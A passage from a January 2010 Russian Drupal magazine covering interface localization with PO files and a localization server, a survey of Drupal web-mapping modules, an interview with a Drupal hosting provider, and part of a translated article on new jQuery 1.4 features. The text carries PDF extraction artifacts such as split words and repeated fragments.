Далее, необходимо выбрать язык (или несколько языков), на который будет переводится интерфейс (по адресу /admin/settings/language/add)
. Здесь же, на вкладках, можно выбрать язык (
/admin/settings/
language)
, используемый по умолчанию в интер
-
фейсе сайта и способ переключения языков (
/
admin/settings/language/conigure
), если их исполь
-
зуется несколько, в зависимости от префикса пути, домена и других параметров. Варианты перевода
Ручной
После предварительной настройки, выполненной в предыдущем шаге, система готова к работе с ис
-
Локализация
январь, 2010
31
Друпалогия #00
пользованием в интерфейсе выбранных языков. По умолчанию, все вновь инсталлируемые модули и темы будут пытаться найти и загрузить перевод на установленный в системе язык. При этом систе
-
ма будет пытаться обнаружить файл с переводом в под папке translations соответствующего модуля (для Drupal � версии для этой цели существует от-
Drupal � версии для этой цели существует от-
версии для этой цели существует от
-
дельный модуль Autolocale
).
Самый простой метод — это ручной перевод слов и фраз. Довольно часто бывает необходимо попра
-
вить или изменить 1-2 строки в существующем пе
-
реводе «под себя», для этого достаточно (по адре
-
су /admin/build/translate/search)
ввести нужное сло
-
во или фразу, и в найденных местах изменить её на нужную, для соответствующих языков (если на сайте используется больше одного дополнитель
-
ного языка). Способ хорош, но не всегда эффективен. Модуль Localization client
позволяет быстро заменить все текстовые строки интерфейса для данной страни
-
цы, в удобном JS и
нтерфейсе. Этот метод перевода хорош, когда вам необходи
-
мо поправить или добавить перевод нескольких строк, или исправить существующие ошибки в пе
-
реводе. Ну или подправить что-то только для это
-
го сайта.
Перевод на локальном компьютере
Поскольку, при создании системы локализации была использована gettext библиотека — имеет
-
ся возможность перевести ядро, модуль или тему, используя инструментарий для работы на локаль
-
ном компьютере. Этот вариант, может оказать
-
ся более предпочтительным. Он позволяет созда
-
вать, хранить и обмениваться файлами перевода, в формате PO. В качестве редактора можно поре-
PO. В качестве редактора можно поре-
В качестве редактора можно поре
-
комендовать свободно распространяемый кросс-
платформенный продукт Poedit
. Этот редактор по
-
зволяет использовать так называемую TM (
память переводов
) и пытается перевести фразы, с учётом уже накопленной информации о переводах.
Для получения строк (PO файла для работы of-
PO файла для работы of-
файла для работы of-
of
-
line
) из уже установленных модулей тем и ядра системы существет модуь Translation template extractor
. После его установки на странице с пе-
После его установки на странице с пе
-
реводами строк (по адресу /
admin/build/translate/
extract) у вас появится возможность выбрать и им
-
портировать строки из модуля в соответствующий PO файл. Там же, на вкладе (
по адресу /admin/
build/translate/import
) можно импортировать гото-
можно импортировать гото
-
вый результат локальной работы. Необходимо об
-
ратить внимание на язык в который будет загру
-
жаться файл перевода и вариант с заменой строки или нет. Эта страница может быть полезна, при на
-
личии ошибок в автоматически импортируемом пе
-
реводе, который идёт с модулем.
Необходимо обратить внимание на использование правильной плюральной формы (форма множе-
(форма множе-
форма множе
-
ственных числительный
). Для русского языка она выглядит так: nplurals=3; plural=((((n%10)==1)&&((n%100)!=11))?(
0):(((((n%10)>=2)&&((n%10)<=4))&&(((n%100)<10)||(
(n%100)>=20)))?(1):2))
Локализация
январь, 2010
32
Друпалогия #00
Использование сервера локализации
Постоянно растущее количество разрабатывае
-
мых модулей и тем, а так же большое количество и разрозненность вариантов PO файлов грозило перерасти в новый Вавилон. Эта ситуация натол
-
кнула Gábor Hojtsy
на создание модуля Localization server
. Модуль является хранилищем для исходных стро
-
ки и строк перевода всех модулей и тем. Перево
-
ды возможно хранить и вести для нескольких язы
-
ков. При этом, все вновь добавляемые строки, из новых версий и автоматически будут получать уже существующие переводы. Сервер локализации работает в двух режимах: как сервер для отдачи готовых переводов, и как интерфейс для удобного локального или удаленного перевода строк моду
-
лей и тем.
Для получения PO файла перевода достаточно выбрать соответствующий язык
, версию и формат файлов. Полученный перевод можно импортиро
-
вать на работающий сайт.
Если необходимо обновлять много модулей, то можно воспользоваться модулем Live Translation
, после установки которого (по адресу /admin/
reports/live-translation) можно в любой установке проверить % перевода модулей, установленных в этой систем и перевести его нужные на текущий язык. (Обратите внимание, что для перевода на русский, необходимо указать (на странице /admin/
settings/live-translation
) в качестве сервера http://
drupaler.ru
).
Переводы на сервере осуществляются коллектив
-
ным сообществом, и если кроме потребления воз
-
никает желание помочь сообществу — необходи
-
мо всего лишь 2 простых вещи: желание и наличие учётной записи на http://drupaler.ru
. При наличии регистрации, со страницы h
ttp://drupaler.ru/groups необходимо отправить заявку на вступление в со
-
ответствующую языковую группу, в которую плани
-
руется добавлять переводы. После одобрения — будет доступен удобный WEB интерфейс для до-
WEB интерфейс для до-
интерфейс для до
-
бавления переводов, одобрения, модерирования и импорта прямо с сервера локализации.
Сервер локализации полностью поддержива
-
ет шаринг-передачу ваших переводов из локаль
-
ной установки Drupal. Мы можете, работая с Localization client
автоматически отправлять пере
-
ведённые строки на сервер переводов.
Для настройки работы необходимо выполнить 4 простых шага:
• Скачать и включить модуль Localization client • Указать на своем сайте сервер, с которым бу
-
дем работать (
http://drupaler.ru
) (на странице /
admin/settings/language/conigure/l10n_client
)
.
Локализация
январь, 2010
33
Друпалогия #00
• Получить ключ (Localization Server API key), для разрешения получения переводов сервером.
Открыть профиль (
user/ваш_ник/edit
) на сай
-
те и перейти по ссылке вида http://drupaler.
ru?q=translate/remote/userkey/xxxxxxxxxxxxxxxxx
. Получив код, введите его в соответствующее поле.
(Необходимо иметь учётную запись на сервере пе
-
реводов и быть в группе языка, в который вы соби
-
раетесь добавлять переводы). • Далее, кликнув по кнопке переводить текст, как и при обычной работы с Localization client
. При сохранении каждой строки — строки ав
-
томатически будет добавляться на сервер пе
-
реводов. (если всё було сделалано правиль
-
но и встретилась ошибка, при отправке — по
-
пробуйте добавить патч из: http://drupal.org/
node/323917#comment-1682844
)
Надеемся, что с ростом вашего мастерства и зна
-
ний в Drupal, вы сможете помочь всем членам со-
Drupal, вы сможете помочь всем членам со-
вы сможете помочь всем членам со
-
общества в деле — полезном для всех
.
Локализация
январь, 2010
34
Друпалогия #00
Веб-картография в Drupal
Даниил Бейлинсон aka integral
Этой статьей я хотел бы открыть рубрику связанную с веб-картографией в Друпале и не только. Сегод
-
ня я попробую дать поверхностный обзор основных модулей веб-картографии в Друпале, а так же неко
-
торых ресурсов связанных с ними. Мы будем говорить о способах вывода на карту множества матери
-
алов, таким образом модули позволяющие вставить в материал какую-ту конкретную карту остаются в стороне.
Глобально подходы основных модулей этого типа схожи. Несколько модулей работают в связке: один позволяет фиксировать географические ко
-
ординаты вместе с сопутствующей информацией и привязывать их к определенному типу материала (узлу, термину таксономии, пользователю), другой выводит эту информацию на карту в точке с задан
-
ными координатами. Давайте рассмотрим несколь
-
ко таких модулей.
Mapedelic (Location + GMap)
Mapedelic – маленький, но разрастающийся набор модулей от Chicago Technology Cooperative
, позво
-
ляющий использовать Друпал для ряда разных за
-
дач веб-картографии и взаимодействовать с други
-
ми геосервисами. Чаще всего Mapedelic использу-
Чаще всего Mapedelic использу-
Чаще всего Mapedelic использу-
Mapedelic использу-
использу
-
ют именно для вывода различных материалов сай
-
та на карту. В набор входят три пакета модулей: Location
, GMap Module
и GMap Addons
.
Location
Этот пакет модулей позволяет связывать геогра-
тот пакет модулей позволяет связывать геогра
-
фические локации с узлами Друпала, например c людьми, местами и прочим контентом. Также Loca-
Также Loca-
акже Loca-
Loca
-
tion дает возможность администраторам сайта со-
дает возможность администраторам сайта со
-
бирать адреса и геокодировать их (то есть пере
-
водить адреса в координаты) с последующей при
-
вязкой к тем же узлам или пользователям. Полу
-
ченная информация автоматически используется для генерации GeoRSS
данных внутри уже суще-
внутри уже суще
-
ствующих RSS лент. Модуль также предоставляет свой интерфейс прикладного программирования
для того чтобы другие пакеты могли работать с со-
работать с со-
работать с со-
со-
со
-
бранными им данными и использовать возможно
-
сти геокодирования.
В пакет входит восемь модулей:
Location:
основной модуль со своим API, предо-
основной модуль со своим API, предо
-
ставляющий способ записи адресов и геокодиро
-
вания, позволяет прекреплять локации к узлам. В каждой ноде собирается указанное количество ло
-
каций в виде набора полей: Location name, Street location, Additional, City, State/Province, Postal code, Country, Province name, Country name, с
сылка на карту, координаты - к
аждое из которых может быть выключено для указанного типа контента.
User Locations:
п
озволяет связывать каждого пользователя с определенной точкой на карте.
Location Phone and Location Fax:
эти два модуля добавляют телефон и факс в дополнение к вышеуказанным полям.
Location Search:
интегрирует поиск схожих лока-
интегрирует поиск схожих лока
-
ций в модуль поиска Друпала.
Location CCK:
предоставялет поля для модуля Сontent Construction Kit (CCK)
и возможность соби-
и возможность соби
-
рать данные именно через них
.
Location Generate:
генерирует локации для тестирования модуля (интеграция с пакетом модулей Devel
).
Location Add Another:
позволяет быстро прикре-
озволяет быстро прикре
-
Модули
январь, 2010
35
Друпалогия #00
пить новые локации к узлу не редактируя его.
GMap Module
Модуль GMap предоставляет доступ через Дру-
GMap предоставляет доступ через Дру-
предоставляет доступ через Дру
-
пал
к API карт Google
. Он итегрирован с модулем Location и позволяет вводидить координаты лока-
и позволяет вводидить координаты лока
-
ций щелчком на карте от Google взамен ручного ввода который предоставляет модуль Location по-
умолчанию. Также модуль предоставляет две кар
-
ты, на которые выводяться все узлы сайта и все пользователи сайта. GMap Module может быть ис-
GMap Module может быть ис-
может быть ис
-
пользован для создания интерактивных карт с раз
-
личными маркерами, различным контентом во всплывающих окнах и прочими возможностями. И самое важное - модуль предоставляет display-
плагин к Views, который дает пользователям воз-
Views, который дает пользователям воз-
, который дает пользователям воз
-
можность увидеть результат представления
прямо на карте Google!
Вы указываете плагину какие из полей содержат географические координаты, а вся остальная информация привязывается к указанной точке на карте.
В
пакет входит четыре модуля:
• GMap:
предоставляет
GMap API, и
нтеграцию с модулями Views, Location и м
акросами Google Maps.
• GMap Location:
предоставляет карту со всеми узлами сайта и и карту со всеми пользователями сайта.
• GMap Taxonomy:
позволяет использовать раз-
озволяет использовать раз
-
личные маркеры в зависимости от таксономии узла. • GMap Macro Builder:
предоставляет графиче-
предоставляет графиче
-
ский интерфейс для создания макросов
(т
екстовой настройки капризного
GMaps).
Д
ля того чтобы воспользоваться модулем, Вам нужно преобрести
б
есплатный
Google Maps API key
.
Чего же боле?
Мы умеем привязывать координаты к материалам, умеем выводить эти материалы через Views прямо на карту гугл, что еще может понадобиться?
Собственно популярность связки модулей
Location+GMap Module+Views
как раз и говорит о том, что в большинстве случаев ничего больше и не нужно, но мы пойдем дальше. Как насчет того чтобы менять карты? В самом деле Google Maps предоставляет нам всего три слоя, что если мы хо
-
тим воспользоваться другими картами, другими сервисами предоставляющими те же услуги или быть может мы хотим нарисовать карту сами? И выделять вовсе не точки на карте, а области? Все это возможно.
Mapstraction
Проект Mapstraction
– э
то библиотека
п
редоставляющая
общий
API д
ля многих
в
еб-
сервисов картографии, таких как Google Maps, Vir-
ервисов картографии, таких как Google Maps, Vir-
Google Maps, Vir
-
tual Earth, и Yahoo!, каждый их которых предостав-
аждый их которых предостав
-
ляет свой API для интеграции. Разный API подраз-
API для интеграции. Разный API подраз-
для интеграции. Разный API подраз-
. Разный API подраз-
азный API подраз-
API подраз-
подраз
-
умевает под собой, что при добавлении картогра
-
фических возможностней на сайт Вам приходится начинать с выбора сервиса карт. Проблема в том, что если Вы выбрали сервис, то сменить его будет непросто – еще бы, ведь для того чтобы исполь
-
зовать новый API придется переписать весь инте-
API придется переписать весь инте-
придется переписать весь инте
-
грационный код! Тут-то напомощь нам и приходит Mapstraction! Фундамент его API позволяет разра-
ундамент его API позволяет разра-
API позволяет разра-
позволяет разра
-
ботчикам переключаться между разными сервиса
-
ми не меняя кода!
Модуль Mapstraction
разработанный есть ни что иное как display-плагин для Views, который по-
плагин для Views, который по-
Views, который по-
, который по
-
зволяет выбрать поля с координатами и переклю
-
чатья на лету между сервисами веб-картографии.
Views выведет карту с выбранными узлами на кар-
выведет карту с выбранными узлами на кар
-
те в качестве точек. Если Вам захочеться поме
-
нять сервис, то достаточно всего лишь поменять настройки представления. Сервис смениться, а точки остануться на том же месте что и раньше!
Модули
январь, 2010
36
Друпалогия #00
Н
а данный момент Mapstarction подерживает 11 геосервисов
:
• Google Maps
• Map24
• MultiMap
• OpenSpace
•
ViaMichelin
• Yahoo Maps
• MapQuest
• Microsoft Virtual Earth
• OpenLayers
• FreeEarth
Также поддерживается загрузка кастомных тайлов карт предоставляемых сервисом
CloudMade
. В
ы можете создать свой стиль карт в редакторе Cloud-
Cloud
-
Made или выбрать какой-нибудь из уже существу-
ли выбрать какой-нибудь из уже существу
-
ющих нескольких тысяч и указать ID стиля в на-
и указать ID стиля в на-
указать ID стиля в на-
ID стиля в на-
стиля в на
-
стройках представления
.
Geo
Пакет модулей Geo
– следующее поколение моду-
следующее поколение моду
-
лей веб-картографии в Друпале, как и Location они предосталяют возможность регистрировать коор
-
динаты точек, но кроме этого поддерживаются ли
-
нии
и многоугольники!
Чем это полезно? Дело в том, что локации - это не просто адреса или точки на карте.
Например, у мельницы в поле адреса нет, но ее координаты тоже нужно регистрировать и отображать на карте. И такие данные как автомобильная трасса, грани
-
ца города или маршрут полета тоже где-то хранят
-
ся и должны иметь свои критерии поиска отличные от простой точки на карте. К счастью, существует открытый стандарт Simple Features
для выражения этого типа данных и модуль Geo выгодно отлича-
Geo выгодно отлича-
выгодно отлича
-
ется своей просторанственно-ориентированной ба
-
зой данных – для хранения используются PostGIS
и MySQL Spatial
ч
то приводит к более быстрым и содержательным запросам
.
В
пакет входит три модуля:
• Geo
: API предоставляющи
й
доступ к базе данных и функциям запросов для других модулей.
• Geo Field
: предоставляет поле ввода геогра-
редоставляет поле ввода геогра
-
фических данных в форме точек, линий и многоу
-
гольников для любого типа материала. Это позво
-
лит вам зафиксировать геоинформацию вводимую пользователями.
• Geo Data
: Вы можете скачать Shape файлы со-
ы можете скачать Shape файлы со
-
держащие геометрическую информацию и импор
-
тировать в свой сайт. После того как это будет сде
-
лано вы сможете создать выпадающее поле CCK
, которое будет ссылаться на эту информацию. К примеру Вы можете импортировать границы реги
-
онов и позволить пользователям выбирать регион из списка.
П
осле того как информация будет заполнена в поле, по ней можно строить запросы через Views. К примеру Вы сможете найти всех пользователей конкретного региона.
Для того чтобы воспользоваться API Geo вам по-
ля того чтобы воспользоваться API Geo вам по-
API Geo вам по-
Geo вам по-
Geo вам по-
вам по
-
надобится версия MySQL не меньше 4.1, или Post-
MySQL не меньше 4.1, или Post-
е меньше 4.1, или Post-
4.1, или Post-
ли Post-
Post
-
greSQL c р
асширением
PostGIS. Ну и конечно для того чтобы сделать что-нибудь осмысленное вам понадобяться установленные модули CCK и
Views.
Так как PostGIS предоставляет куда лучшую под-
PostGIS предоставляет куда лучшую под-
предоставляет куда лучшую под
-
держку для пространственных возможностей, то этот вариант базы данных предпочтительнее для всего, чему необходима точность и настраивае
-
мость. С другой стороны расщирение MySQL spa-
MySQL spa
-
tial в
ключено в MySQL по-умоланию, что позволяет куда быстрее начать работу.
Стоит еще упомянуть модуль Geocode
, позволя
-
ющий геокодировать данные, в том числе линии и многоугольники! Модуль так же предоставляет свой виджет для Geo Field, который позволяет со-
Geo Field, который позволяет со-
, который позволяет со
-
бирать информацию из других полей, например, индекс, город или даже картинка с прикрепленны
-
ми к ней географическими данными.
Модули
январь, 2010
37
Друпалогия #00
OpenLayers
OpenLayers – OpenSource библиотека, написанная н
а JavaScript, предназначенная для создания карт на основе программного интерфейса (API), подобного GoogleMap API
или MSN Virtual Earth API. Библиотека включает в себя компоненты из JavaScript-библиотек
Rico и Prototype JavaScript Framework
.
OpenLayers позволяет очень быстро и легко создать веб-интерфейс для отображения картографических материалов, представленных в различных форматах и расположенных на различных серверах. Благодаря OpenLay
-
ers разработчик имеет возможность создать, к примеру, собственную карту, включающую слои, предоставляемые WMS (и WFS) серверами, такими как Mapserver, ArcIMS
или Geoserv
-
er, и данными картографических сервисов Google Библиотека является разработкой с открытым исходным кодом и разрабатывается при спонсорской поддержке проекта Meta
-
Carta, который использует OpenLayers в своих разработках. Тем не менее, OpenLayers является независимым свободно распространяемым продуктом.
Проект OpenLayers
в Drupal – это набор модулей интегрирующих OpenLayers JS
библиотеку в Dru-
Dru
-
pal. Модули предоставляют возможность пользова-
. Модули предоставляют возможность пользова-
Модули предоставляют возможность пользова-
Модули предоставляют возможность пользова
-
телям создавать свои динамические и уникальные карты на сайте.
Зачем?
OpenLayers предоставляет гибкость кода open source и возможность воспроизводить большое ко-
и возможность воспроизводить большое ко
-
личество форматов данных GIS. Также эти модули предоставляют возможность ввода пространствен
-
ных данных!
В пакет входят 7 модулей:
OpenLayers API
OpenLayers API – модуль, который склеивает все части пакета воедино.
П
акет OpenLayers имеет очень гибкую архитектуру, в центре которой нахо
-
дится этот модуль, остальные модули добавлюят свой функционал через этот API. OpenLayers Preset UI
Этот модуль позволит создать и сохранить заго-
тот модуль позволит создать и сохранить заго
-
товку карты, которая может быть использована, например, для ввода данных через CCK или вы-
CCK или вы-
или вы
-
вода через
Views. Эти
заготовки также могут быть созданы непосредственно кодом, храниться в базе данных и быть интегрированы с Features
. OpenLayers Layers
Предостаялет широкие возможности по добавле-
редостаялет широкие возможности по добавле
-
нию слоев на вашу карту. Вы можете добавить ба-
. Вы можете добавить ба-
ы можете добавить ба
-
зовый слой
Google, Yahoo, Microsoft, Cloudmade, и OpenStreetMap
. Так же вы можете добавить дан-
ак же вы можете добавить дан-
дан-
дан
-
ные с сервера картографии
(
WMS
), сервера гео-
ервера гео
-
графических возможностей (
WFS
), и KML
л
енты
как базовый слой карты или дополнительный. Так-
ак базовый слой карты или дополнительный. Так-
или дополнительный. Так-
или дополнительный. Так-
дополнительный. Так-
ополнительный. Так-
. Так-
Так
-
же он может отображать данные импортированные из shape-
файлов с помощью модуля
Geo Data. OpenLayers Behaviors
Дает возможность использовать специальные ре-
возможность использовать специальные ре
-
жимы для воспроизведения и редакции карт. На данный момент позволяет редактировать геоме
-
трические фигуры, тултипы, всплывающие окна, перемещять точки, центрировать карту и откры
-
вать ее в режиме полного экрана. OpenLayers CCK
OpenLayers CCK добавляет карту для ввода гео-
добавляет карту для ввода гео
-
пространственных данных модуля Geo и
ли данных в формате
WKT
, таким образом ввод координат становится естественным и приятным занятием.
OpenLayers Views
В
оссоединяет все типы геоданных Drupal, будь они из модулей Location или Geo, из кастомных пар Модули
январь, 2010
38
Друпалогия #00
полей широты/долготы или записаны в формате WKT. Все они могут быть спроецированы на карту через специальный Views плагин.
OpenLayers Filters
Предоставляет фильтр для вставки карт в текст. И
спользуя примерно такой синтаксис
[openlayers имя_заготовки], вы можете сгенерировать карту прямо в контенте.
Также модуль OpenLayers предоставляет следую-
модуль OpenLayers предоставляет следую-
OpenLayers предоставляет следую-
предоставляет следую
-
щие дополнительные возможности:
Интеграция с модулями Features
, Module Builder
, Advanced Help
(з
десь куча документации
) и Do
-
main
(позволяет настр
оить openlayers для каждого домена отдельно). А так же базовые возможности
SimpleTests
!
MapBox
MapBox
– р
азработка фирмы Development Seed
– по сути дела набор OpenSource инструмен-
абор OpenSource инструмен-
OpenSource инструмен-
инструмен
-
тов в помощь созданию красивых кастомных карт в вычислительном облаке Amazon.
П
роект предоставляет утилиту TileMill
, созданную для рен-
озданную для рен
-
деринга карт в сочетании с любым набор дан
-
ных будь-тo открытых или из вашего личного ар
-
хива.
MapBox т
акже имеет общедоступные хра
-
нилища данных
, такие как OpenStreetMap Planet, д
оступные внутри облака Amazon.
М
одуль MapBox
д
ля друпала п
редоставляет свой слой
включающий тайлы MapBox для модулей OpenLayers и GMap
.
Таким образом, связка Geo + OpenLayers куда мощнее чем Location + GMap Module.
Конечно она не всегда оправдана, но ее возможности заметно шире. Пакеты Geo и OpenLayers невероятно гиб-
Geo и OpenLayers невероятно гиб-
и OpenLayers невероятно гиб-
OpenLayers невероятно гиб-
невероятно гиб
-
кие и предоставляют огромный функционал, кото
-
рый мы надеюсь рассмотрим подробнее в следую
-
щем номере журнала. Модули
январь, 2010
39
Друпалогия #00
Интервью с представителем компании IT-Patrol Стани
́
слав Езерский aka Stan
Существует огромное количество хостинг-провайдеров, предоставляющих услуги по размещению сай
-
тов. Но сайту, сделанному на Drupal, зачастую нужно немного больше, чем сайту, сделанного на обычной CMS. Это и ресурсоёмкость, скорость работы, поддержка пользователей. Мы побеседовали с представителем компании IT-Patrol, Егором Марценюком aka Gor, который ответил на наши скромные вопросы. Сейчас на рынке хостинга - куча провайдеров, площадки которых позволяют полноценно использовать Drupal. Почему и чем вы лучше?
Gor:
В первую очередь, мало кто из конкурентов может похвастаться такой же скоростью работы сайтов на базе CMS/CMF Drupal. Во вторую оче-
/CMF Drupal. Во вторую оче-
Во вторую оче
-
редь, в случае проблем с сайтом - мы подсказыва
-
ем источник проблемы. Как минимум какой модуль или какой запрос (часто это касается не оптималь
-
ных запросов views). В третью очередь - челове
-
ческий подход к клиенту. Правда иногда приходит
-
ся отказывать в хостинге клиентам, которые пред
-
почитают хамский способ общения. Есть еще мно
-
го разных мелочей, но вышеперечисленные пун
-
кты – основные.
Что вы можете предложить потенциальным клиентам, чем вы их, на ваш взгляд, можете заинтересовать?
Gor:
Быстрой работой сайтов на CMS Drupal. Это краеугольный камень всего проекта. К сожале
-
нию, пока что в ущерб удобству, но мы двигаемся в этом направлении. Недавно мы запустили еще более ускоренный вариант хостинга , где не надо даже ставить CMS Drupal. Основными преимуще
-
ствами нового варианта являются конечно же ско
-
рость работы сайтов. Но изюминкой предложе
-
ния является автообновление всех contrib модулей ежедневно и обновление ядра - в течении пяти дней после выхода новой версии ветки 6.х. За
-
держка связана с необходимостью применения на
-
ших разработок- патчей, для портирования релиза под нашу платформу.
Где находится дата-центр?
Gor:
Когда мы только начинали, было перепробо
-
вано много дата-центров: к сожалению, часто по вине дата-центра были проблемы с доступностью к серверам. Методом проб и ошибок было приня
-
то решение использовать не один ДЦ, а сразу не
-
сколько, потому на сейчас сервера размещены в городах по всему миру: Санкт-Петербург(Россия), Монреаль (Канада); Амстердам (Голландия), Гло
-
честер (Великобритания), Франкфурт (Германия). Полную информацию о серверах и их географиче
-
ском расположении можно узнать на страницах на
-
шего сайта.
Каков аптайм серверов?
Gor:
Согласно оценки сервиса host-tracker - ап
-
тайм серверов колеблется между 99.3�% и 99.99%. Пользователи могут получить эту информацию в любой момент времени на странице серверов и в РобинПанели, раздел "Пользователи". Можете рассказать о технической сторо
-
не (расписать какое железо стоит, сколько предоставлено памяти, тип ОС, apache или nginx)?
Хостинг
январь, 2010
40
Друпалогия #00
Gor:
Железо стоит разное. Сейчас использу
-
ется � серверов разной конфигурации и толь
-
ко один перечень конфигураций займет много ме
-
ста. Лучше посетите http://it-patrol.ru/drupal_hosting/
техническая-информация
, там вы сможете най
-
ти полную техническую информацию на каждый сервер, перечень используемого ПО и ОС. Корот
-
ко могу сказать, что на всех сервизах использует
-
ся Linux CentOS �.x последней версии, с NGINX +APACHE + PHP � версии.
Как быстро вы обеспечиваете поддержку пользователям?
Gor:
Наблюдение за серверами в автоматическом режиме - круглосуточно и все критические вопросы решаются максимально быстро. Вопросы клиентов решаются в основном между 16 и 24 по Москве . Возможен ли MoneyBack (возврат денег), если пользователю что-то не понравилось в рабо
-
те, обслуживании или технической поддерж
-
ке? Gor:
Нет, данная возможность не предоставляется.
Часто ли к вам уходят с других площадок?
Gor:
Такой статистики у нас нет. Но основная мас
-
са клиентов, уже с готовыми сайтами. Так что откуда-то они все-таки уходят.
Считаете ли вы себя строгим хостером по отношению к пользователям: есть ли цензу
-
ра на web-проекты?
Gor:
Да у нас есть строгие ограничения. Запреще
-
ны ресурсы которые нарушают авторские права, распространяющие спам, порнографию. А также разные финансовые пирамиды, HYIP проекты.
Предоставляете ли вы бесплатный хостинг интересным проектам? Gor:
Иногда такое делаем, но не часто.
Есть ли у вас свои механизмы защиты от DdoS-атак?
Gor:
Да есть. В этой сфере я лично приобрел до
-
статочно много опыта, работая в других компаниях. Так что с этим проблем у нас нет.
Считаете ли вы, что у вас есть отрицательные стороны? Расскажите о них
Gor:
Я бы это назвал недоработками, так как все эти "пробелы" будут со временем закрыты. • РОбинПанель - еще не так удобна, как должна быть. Не хватает некоторых некритичных функций. • Не круглосуточная поддержка клиентов. На сей
-
час вопросы клиентов решаются в основном меж
-
ду 16 и 24 по Москве.
• Не хватает Документации по использованию хо
-
стинга.
Могут ли расчитывать ваши клиенты на юри
-
дически грамотное оформление договоров на услуги, например, вы высылаете "Договор на размещение (colocation) и аренду (dedicated) сервера"?
Gor:
На текущий момент юридического оформ
-
ления договора на услуги не осуществляется. Так что, ответ отрицательный.
Хостинг
январь, 2010
41
Друпалогия #00
jQuery 1.4: 15 новых возможностей Василий Котов aka basilkot /перевод оригинальной статьи
14 января появился на свет jQuery 1.4. Этот релиз содержит множество новых возможностей и улучше
-
ний. В этой статье рассматриваются те, которые вы, возможно, найдёте самыми полезными.
1. Передача атрибутов jQuery(...)
Раньше, до версии 1.4, jQuery поддерживал добав
-
ление атрибутов к элементам коллекции с помо
-
щью удобного метода attr, который принимал в ка
-
честве параметров или имя атрибута и его значе
-
ние, или объект, определяющий сразу несколько атрибутов. В jQuery 1.4 появилась возможность пе
-
редачи атрибутов, как второй аргумент при созда
-
нии элемента. Допустим вам необходимо создать гиперссылку с несколькими атрибутами. Используя версию 1.4 это делается таким образом:
jQuery
(
'<a/>'
,
{
id
:
'foo'
,
href
:
'http://google.com'
,
title
:
'Become a Googler'
,
rel
:
'external'
,
text
:
'Go to Google!'
})
;
Вы, наверное, заметили атрибут text и, возможно, удивились, что он здесь делает, ведь у ссылок нет такого атрибута! Дело в том, что jQuery 1.4 исполь
-
зует свои собственные методы для их обработки. Таким образом, встретив атрибут text, jQuery вы
-
зывает функцию .text() и передаёт значение «Go to Google!».
Ещё один замечательный пример:
jQuery
(
'<div/>'
,
{
id
:
'foo'
,
css
:
{
fontWeight
:
700
,
color
:
'green'
}
,
click
:
function
(){
alert
(
'Foo has been clicked!'
)
;
}
})
;
Атрибут id обрабатывается как обычный атрибут, а css и click как вызовы соответствующих методов. В предыдущих версиях jQuery вы бы написали так:
jQuery
(
'<div/>'
)
.
attr
(
'id'
,
'foo'
)
.
css
({
fontWeight
:
700
,
color
:
'green'
})
.
click
(
function
(){
alert
(
'Foo has been clicked!'
)
;
})
;
2. «until» ко всему!
В арсенал обхода DOM появилось три новых ме
-
тода: «nextUntil», «prevUntil» и «parentsUntil». Каж
-
дый из этих методов будет обходить DOM в задан
-
ном направлении пока не будет выполнено усло
-
вие переданного селектора. Итак, допустим у вас есть список фруктов:
<
ul
>
<
li
>
Apple
<
/
li
>
<
li
>
Banana
<
/
li
>
<
li
>
Grape
<
/
li
>
<
li
>
Strawberry
<
/
li
>
<
li
>
Pear
<
/
li
>
<
li
>
Peach
<
/
li
>
<
/
ul
>
Вам необходимо выбрать все элементы после «Apple» и остановиться на «Strawberry». Это вы
-
глядит очень просто:
jQuery
(
'ul li:contains(Apple)'
)
.
nextUntil
(
':contains(Pear)'
)
;
Не Drupal
январь, 2010
42
Друпалогия #00
3. Мультибиндинг обработчиков событий
Вместо того, чтобы использовать цепочку событий, вы можете привязать сразу несколько событий в одном вызове. Например так:
jQuery
(
'#foo).bind({
click: function() {
// что-то делаем
},
mouseover: function() {
// что-то делаем
},
mouseout: function() {
// что-то делаем
}
})
Это работает и с методом .one().
4. Новое в анимации
Теперь, вместо того, чтобы определять одну функ
-
цию для одного типа анимации, вы можете опре
-
делить различные функции для каждого анимиру
-
емого свойства. jQuery включает два типа анима
-
ции: качание (по умолчанию) и линейное измене
-
ние. Другие вам необходимо скачать отдельно.
ать функцию анимации для каждого свойства, не
-
обходимо просто определить массив, первое зна
-
чение каждого элемента — это анимируемое свой
-
ство, а второе используемая функция:
jQuery
(
'#foo'
)
.
animate
({
left
:
500
,
top
:
[
500
,
'easeOutBounce'
]
}
,
2000
)
;
Примерчик.
Вы также можете использовать объект specialEasing, то есть такую запись:
jQuery
(
'#foo'
)
.
animate
({
left
:
500
,
top
:
500
}
,
{
duration
:
2000
,
specialEasing
:
{
top
:
'easeOutBounce'
}
})
;
5. Новые события для метода live.
В jQuery 1.4 появилась поддержка обработчиков событий "submit", "change", "focus" и "blur". В jQuery используется метод .live() для добавления обра
-
ботчиков событий. Это полезно, когда вы добавля
-
ете обработчики сразу для нескольких элементов, а также при добавлении новых.
Обратите внимание, что вам необходимо использовать имена 'focusin' и 'focusout' для использования событий «focus» и «blur»!
jQuery
(
'input'
)
.
live
(
'focusin'
,
function
(){
// do something with this
})
;
6. Управление контекстом функций.
jQuery 1.4 предоставляет новую «proxy»-функцию в пространстве имён jQuery. Эта функция прини
-
мает два аргумента: «область видимости» и имя метода. Давайте рассмотрим пример.
Ниже создаётся объект «app» с двумя свойствами: «clickHandler» и «conig».
var
app =
{
conig
:
{
clickMessage
:
'Hi!'
}
,
clickHandler
:
function
()
{
alert
(
this
.
conig
.
clickMessage
)
;
}
}
;
У метода ".clickHandler()" контекст выполнения бу
-
дет «app», это подразумевает что «this» ссылается именно на него. Это работает, как и ожидается:
app.
clickHandler
()
;
// "Hi!"
Давайте попробуем прицепиться к событию:
jQuery
(
'a'
)
.
bind
(
'click'
,
app.
clickHandler
)
;
При нажатии на ссылку ничего не произойдёт. По
-
тому что jQuery будет, по умолчанию, устанавли
-
вать для контекста обработчика искомый элемент (в нашем случае ссылку), то есть this в этом при
-
мере — это гиперссылка. Но мы этого не хотим! Мы хотим чтобы this в этом случае означал объект Не Drupal
январь, 2010
43
Друпалогия #00
«app». В jQuery 1.4 этого можно добиться очень просто:
jQuery
(
'a'
)
.
bind
(
'click'
,
jQuery.
proxy
(
app
,
'clickHandler'
)
)
;
Теперь нажатие на ссылку приведёт к ожидаемому результату.
Функция proxy вернёт «обёрнутую» версию вашей функции, а также установит для «this» указанный вами объект. Это полезно в таких случаях, когда вам необходимо передать функцию в качестве па
-
раметра другому методу jQuery или в какой-либо плагин.
7. Пауза перед выполнением анимации.
